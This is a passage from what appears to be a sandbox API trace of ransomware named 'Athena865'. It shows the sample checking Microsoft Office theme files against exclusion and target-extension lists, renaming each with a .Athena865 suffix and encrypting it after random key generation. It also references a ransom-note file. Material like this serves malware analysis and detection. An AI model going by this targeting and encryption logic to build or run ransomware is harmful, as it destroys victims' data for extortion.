(lpString="udb") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="udb") returned -1 [0065.195] lstrlenW (lpString="udl") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="udl") returned -1 [0065.195] lstrlenW (lpString="usr") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="usr") returned -1 [0065.195] lstrlenW (lpString="v12") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="v12") returned -1 [0065.195] lstrlenW (lpString="vis") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="vis") returned -1 [0065.195] lstrlenW (lpString="vpd") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="vpd") returned -1 [0065.195] lstrlenW (lpString="vvv") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="vvv") returned -1 [0065.195] lstrlenW (lpString="wdb") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="wdb") returned -1 [0065.195] lstrlenW (lpString="wmdb") returned 4 [0065.195] lstrcmpiW (lpString1="thmx", lpString2="wmdb") returned -1 [0065.195] lstrlenW (lpString="wrk") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="wrk") returned -1 [0065.195] lstrlenW (lpString="xdb") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="xdb") returned -1 [0065.195] lstrlenW (lpString="xld") returned 3 [0065.195] lstrcmpiW (lpString1="hmx", lpString2="xld") returned -1 [0065.195] lstrlenW (lpString="xmlff") returned 5 [0065.196] lstrcmpiW (lpString1=".thmx", lpString2="xmlff") returned -1 [0065.196] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.Athena865") returned 78 [0065.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.athena865"), dwFlags=0x1) returned 1 [0065.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apothecary.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apothecary.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.197] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=88662) returned 1 [0065.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.197] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.198] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.198] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.198] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15d60, lpName=0x0) returned 0x17c [0065.202] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15d60) returned 0x100000 [0065.207] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.208] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.208] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.208] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.209] CloseHandle (hObject=0x17c) returned 1 [0065.209] CloseHandle (hObject=0x154) returned 1 [0065.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.209] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.210] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.210] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1 [0065.210] lstrcmpiW (lpString1="Aspect.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.210] lstrcmpiW (lpString1="Aspect.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.210] lstrcmpiW (lpString1="Aspect.thmx", lpString2=".") returned 1 [0065.210] lstrcmpiW (lpString1="Aspect.thmx", lpString2="..") returned 1 [0065.210] lstrcmpiW (lpString1="Aspect.thmx", lpString2="windows") returned -1 [0065.210] lstrcmpiW (lpString1="Aspect.thmx", lpString2="bootmgr") returned -1 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2="temp") returned -1 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2="pagefile.sys") returned -1 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2="boot") returned -1 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2="ids.txt") returned -1 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2="ntuser.dat") returned -1 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2="perflogs") returned -1 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2="MSBuild") returned -1 [0065.211] lstrlenW (lpString="Aspect.thmx") returned 11 [0065.211] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Aspect.thmx" | out: lpString1="Aspect.thmx") returned="Aspect.thmx" [0065.211] lstrlenW (lpString="Aspect.thmx") returned 11 [0065.211] lstrlenW (lpString="Athena865") returned 9 [0065.211] lstrcmpiW (lpString1="pect.thmx", lpString2="Athena865") returned 1 [0065.211] lstrlenW (lpString=".dll") returned 4 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2=".dll") returned 1 [0065.211] lstrlenW (lpString=".lnk") returned 4 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2=".lnk") returned 1 [0065.211] lstrlenW (lpString=".ini") returned 4 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2=".ini") returned 1 [0065.211] lstrlenW (lpString=".sys") returned 4 [0065.211] lstrcmpiW (lpString1="Aspect.thmx", lpString2=".sys") returned 1 [0065.211] lstrlenW (lpString="Aspect.thmx") returned 11 [0065.211] lstrlenW (lpString="bak") returned 3 [0065.211] lstrcmpiW (lpString1="hmx", lpString2="bak") returned 1 [0065.211] lstrlenW (lpString="ba_") returned 3 [0065.211] lstrcmpiW (lpString1="hmx", lpString2="ba_") returned 1 [0065.211] lstrlenW (lpString="dbb") returned 3 [0065.211] lstrcmpiW (lpString1="hmx", lpString2="dbb") returned 1 [0065.211] lstrlenW (lpString="vmdk") returned 4 [0065.211] lstrcmpiW (lpString1="thmx", lpString2="vmdk") returned -1 [0065.211] lstrlenW (lpString="rar") returned 3 [0065.211] lstrcmpiW (lpString1="hmx", lpString2="rar") returned -1 [0065.211] lstrlenW (lpString="zip") returned 3 [0065.211] lstrcmpiW (lpString1="hmx", lpString2="zip") returned -1 [0065.212] lstrlenW (lpString="tgz") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="tgz") returned -1 [0065.212] lstrlenW (lpString="vbox") returned 4 [0065.212] lstrcmpiW (lpString1="thmx", lpString2="vbox") returned -1 [0065.212] lstrlenW (lpString="vdi") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="vdi") returned -1 [0065.212] lstrlenW (lpString="vhd") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="vhd") returned -1 [0065.212] lstrlenW (lpString="vhdx") returned 4 [0065.212] lstrcmpiW (lpString1="thmx", lpString2="vhdx") returned -1 [0065.212] lstrlenW (lpString="avhd") returned 4 [0065.212] lstrcmpiW (lpString1="thmx", lpString2="avhd") returned 1 [0065.212] lstrlenW (lpString="db") returned 2 [0065.212] lstrcmpiW (lpString1="mx", lpString2="db") returned 1 [0065.212] lstrlenW (lpString="db2") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="db2") returned 1 [0065.212] lstrlenW (lpString="db3") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="db3") returned 1 [0065.212] lstrlenW (lpString="dbf") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="dbf") returned 1 [0065.212] lstrlenW (lpString="mdf") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="mdf") returned -1 [0065.212] lstrlenW (lpString="mdb") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="mdb") returned -1 [0065.212] lstrlenW (lpString="sql") returned 3 [0065.212] lstrcmpiW (lpString1="hmx", lpString2="sql") returned -1 [0065.212] lstrlenW (lpString="sqlite") returned 6 [0065.212] lstrcmpiW (lpString1="t.thmx", lpString2="sqlite") returned 1 [0065.212] lstrlenW (lpString="sqlite3") returned 7 [0065.212] lstrcmpiW (lpString1="ct.thmx", lpString2="sqlite3") returned -1 [0065.212] lstrlenW (lpString="sqlitedb") returned 8 [0065.212] lstrcmpiW (lpString1="ect.thmx", lpString2="sqlitedb") returned -1 [0065.213] lstrlenW (lpString="xml") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="xml") returned -1 [0065.213] lstrlenW (lpString="$er") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="$er") returned 1 [0065.213] lstrlenW (lpString="4dd") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="4dd") returned 1 [0065.213] lstrlenW (lpString="4dl") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="4dl") returned 1 [0065.213] lstrlenW (lpString="^^^") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="^^^") returned 1 [0065.213] lstrlenW (lpString="abs") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="abs") returned 1 [0065.213] lstrlenW (lpString="abx") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="abx") returned 1 [0065.213] lstrlenW (lpString="accdb") returned 5 [0065.213] lstrcmpiW (lpString1=".thmx", lpString2="accdb") returned -1 [0065.213] lstrlenW (lpString="accdc") returned 5 [0065.213] lstrcmpiW (lpString1=".thmx", lpString2="accdc") returned -1 [0065.213] lstrlenW (lpString="accde") returned 5 [0065.213] lstrcmpiW (lpString1=".thmx", lpString2="accde") returned -1 [0065.213] lstrlenW (lpString="accdr") returned 5 [0065.213] lstrcmpiW (lpString1=".thmx", lpString2="accdr") returned -1 [0065.213] lstrlenW (lpString="accdt") returned 5 [0065.213] lstrcmpiW (lpString1=".thmx", lpString2="accdt") returned -1 [0065.213] lstrlenW (lpString="accdw") returned 5 [0065.213] lstrcmpiW (lpString1=".thmx", lpString2="accdw") returned -1 [0065.213] lstrlenW (lpString="accft") returned 5 [0065.213] lstrcmpiW (lpString1=".thmx", lpString2="accft") returned -1 [0065.213] lstrlenW (lpString="adb") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.213] lstrlenW (lpString="adb") returned 3 [0065.213] lstrcmpiW (lpString1="hmx", lpString2="adb") returned 1 [0065.213] lstrlenW (lpString="ade") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="ade") returned 1 [0065.214] lstrlenW (lpString="adf") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="adf") returned 1 [0065.214] lstrlenW (lpString="adn") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="adn") returned 1 [0065.214] lstrlenW (lpString="adp") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="adp") returned 1 [0065.214] lstrlenW (lpString="alf") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="alf") returned 1 [0065.214] lstrlenW (lpString="ask") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="ask") returned 1 [0065.214] lstrlenW (lpString="btr") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="btr") returned 1 [0065.214] lstrlenW (lpString="cat") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="cat") returned 1 [0065.214] lstrlenW (lpString="cdb") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="cdb") returned 1 [0065.214] lstrlenW (lpString="ckp") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="ckp") returned 1 [0065.214] lstrlenW (lpString="cma") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="cma") returned 1 [0065.214] lstrlenW (lpString="cpd") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="cpd") returned 1 [0065.214] lstrlenW (lpString="dacpac") returned 6 [0065.214] lstrcmpiW (lpString1="t.thmx", lpString2="dacpac") returned 1 [0065.214] lstrlenW (lpString="dad") returned 3 [0065.214] lstrcmpiW (lpString1="hmx", lpString2="dad") returned 1 [0065.214] lstrlenW (lpString="dadiagrams") returned 10 [0065.214] lstrcmpiW (lpString1="spect.thmx", lpString2="dadiagrams") returned 1 [0065.214] lstrlenW (lpString="daschema") returned 8 [0065.214] lstrcmpiW (lpString1="ect.thmx", lpString2="daschema") returned 1 [0065.214] lstrlenW (lpString="db-journal") returned 10 [0065.214] lstrcmpiW (lpString1="spect.thmx", lpString2="db-journal") returned 1 [0065.215] lstrlenW (lpString="db-shm") returned 6 [0065.215] lstrcmpiW (lpString1="t.thmx", lpString2="db-shm") returned 1 [0065.215] lstrlenW (lpString="db-wal") returned 6 [0065.215] lstrcmpiW (lpString1="t.thmx", lpString2="db-wal") returned 1 [0065.215] lstrlenW (lpString="dbc") returned 3 [0065.215] lstrcmpiW (lpString1="hmx", lpString2="dbc") returned 1 [0065.215] lstrlenW (lpString="dbs") returned 3 [0065.215] lstrcmpiW (lpString1="hmx", lpString2="dbs") returned 1 [0065.215] lstrlenW (lpString="dbt") returned 3 [0065.215] lstrcmpiW (lpString1="hmx", lpString2="dbt") returned 1 [0065.215] lstrlenW (lpString="dbv") returned 3 [0065.215] lstrcmpiW (lpString1="hmx", lpString2="dbv") returned 1 [0065.215] lstrlenW (lpString="dbx") returned 3 [0065.215] lstrcmpiW (lpString1="hmx", lpString2="dbx") returned 1 [0065.215] lstrlenW (lpString="dcb") returned 3 [0065.215] lstrcmpiW (lpString1="hmx", lpString2="dcb") returned 1 [0065.215] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.Athena865") returned 74 [0065.215] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.athena865"), dwFlags=0x1) returned 1 [0065.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.217] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=68069) returned 1 [0065.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.217] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.218] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.218] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.218] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10cf0, lpName=0x0) returned 0x17c [0065.219] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10cf0) returned 0x100000 [0065.223] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.224] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.224] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.225] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.225] CloseHandle (hObject=0x17c) returned 1 [0065.225] CloseHandle (hObject=0x154) returned 1 [0065.225] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.226] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.226] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2=".") returned 1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="..") returned 1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="windows") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="bootmgr") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="temp") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="pagefile.sys") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="boot") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="ids.txt") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="ntuser.dat") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="perflogs") returned -1 [0065.226] lstrcmpiW (lpString1="Austin.thmx", lpString2="MSBuild") returned -1 [0065.226] lstrlenW (lpString="Austin.thmx") returned 11 [0065.227] lstrcpyW (in: lpString1=0x241e8b2, lpString2="Austin.thmx" | out: lpString1="Austin.thmx") returned="Austin.thmx" [0065.227] lstrlenW (lpString="Austin.thmx") returned 11 [0065.227] lstrlenW (lpString="Athena865") returned 9 [0065.227] lstrcmpiW (lpString1="stin.thmx", lpString2="Athena865") returned 1 [0065.227] lstrlenW (lpString=".dll") returned 4 [0065.227] lstrcmpiW (lpString1="Austin.thmx", lpString2=".dll") returned 1 [0065.227] lstrlenW (lpString=".lnk") returned 4 [0065.227] lstrcmpiW (lpString1="Austin.thmx", lpString2=".lnk") returned 1 [0065.227] lstrlenW (lpString=".ini") returned 4 [0065.227] lstrcmpiW (lpString1="Austin.thmx", lpString2=".ini") returned 1 [0065.227] lstrlenW (lpString=".sys") returned 4 [0065.227] lstrcmpiW (lpString1="Austin.thmx", lpString2=".sys") returned 1 [0065.227] lstrlenW (lpString="Austin.thmx") returned 11 [0065.227] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.Athena865") returned 74 [0065.227] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.athena865"), dwFlags=0x1) returned 1 [0065.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Austin.thmx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\austin.thmx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0065.229] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=95803) returned 1 [0065.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0065.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0065.229] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0065.229] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0065.230] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0065.230] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.230] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17940, lpName=0x0) returned 0x17c [0065.231] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17940) returned 0x100000 [0065.236] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0065.237] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0065.237] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0065.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0065.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0065.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0065.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0065.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0065.237] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0065.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0065.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0065.237] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0065.237] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0065.238] CloseHandle (hObject=0x17c) returned 1 [0065.238] CloseHandle (hObject=0x154) returned 1 [0065.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0065.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0065.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0065.239] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2=".") returned 1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="..") returned 1 [0065.239] lstrcmpiW (lpString1="Black Tie.thmx", lpString2="windows") returned -1 